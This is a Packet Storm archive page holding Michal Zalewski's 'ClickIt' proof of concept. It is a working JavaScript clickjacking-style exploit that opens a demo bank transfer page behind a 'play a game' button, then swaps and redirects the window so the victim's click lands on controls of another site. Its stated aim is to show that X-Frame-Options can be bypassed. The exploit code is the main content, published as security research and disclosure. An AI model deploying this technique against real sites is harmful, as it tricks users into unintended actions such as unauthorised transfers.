exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ClickIt Proof Of Concept

ClickIt Proof Of Concept
Posted Dec 13, 2011
Authored by Michal Zalewski | Site lcamtuf.coredump.cx

JavaScript allows you to exploit human cognitive abilities to a remarkable extent; tools such as window positioning, history.forward() and history.back(), open some scary possibilities that we are completely unprepared to deal with. This proof-of-concept aims to demonstrate this; while it is intentionally crude and makes no real effort to conceal its operation, the transitions can be made seamless and very difficult to perceive. Very accurate click prediction can be achieved by carefully measuring mouse velocity and distance to destination, too.

tags | exploit, javascript
SHA-256 | d7658f0d5bd78b6a2d13c915b7f4668b18228fb508f0cca309cdc5652565e5c9

ClickIt Proof Of Concept

Change Mirror Download
<h3><i>X-Frame-Options</i> is worth less than you think</h3>

<script>
var w;
var dummy;
var it;

// Precache stuff.

x = new Image();
x.src = 'http://banking.beaver-peak.us/banking_interface/transfers/';

x2 = new Image();
x2.src = 'http://banking.beaver-peak.us/banking_interface/transfers/beaver-peak.jpg';

x3 = new Image();
x3.src = 'http://lcamtuf.coredump.cx/clickit/win.html';

x4 = new Image();
x4.src = 'http://lcamtuf.coredump.cx/clickit/win.jpg';

function prepare() {
w = open('http://banking.beaver-peak.us/banking_interface/transfers/','_blank');
setTimeout(complete, 300);
}

function complete() {
w.location.href = 'http://lcamtuf.coredump.cx/clickit/attacker.html';
setTimeout(goback, 1000);
}

function goback() {
try {
if (w.document.body.innerHTML == undefined) throw 1;
setTimeout(goback, 100);
} catch (e) {
// That one case where prompts.tab_modal.enabled=true would have helped in Firefox...
if (navigator.userAgent.indexOf('Firefox/') != -1)
setTimeout('w.location.href = "http://lcamtuf.coredump.cx/clickit/win.html"', 1500);
else
setTimeout('w.location.href = "http://lcamtuf.coredump.cx/clickit/win.html"', 500);
}
}

</script>
<p>
JavaScript allows you to exploit human cognitive abilities to a remarkable extent; tools such as
window positioning, <code>history.forward()</code> and <code>history.back()</code>, open some
scary possibilities that we are <a href="http://lcamtuf.blogspot.com/2011/12/x-frame-options-or-solving-wrong.html">completely unprepared to deal with</a>.
This proof-of-concept aims to demonstrate this; while it is intentionally crude and makes no real effort to
conceal its operation, the transitions <a href="http://lcamtuf.coredump.cx/switch/">can be made seamless</a> and very
difficult to perceive. Very accurate click prediction can be achieved by carefully measuring
mouse velocity and distance to destination, too.

<p>
I discuss these attacks and many other unsolved challenges in web app design in
<i><a href="http://lcamtuf.coredump.cx/tangled/">"The Tangled Web"</a></i>.
A similar approach poses a problem with many browser UIs; for that,
<a href="http://lcamtuf.blogspot.com/2010/08/on-designing-uis-for-non-robots.html">check out this post</a>.
<p>
<input type=submit value="Click here to play a game" onclick="prepare()">


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close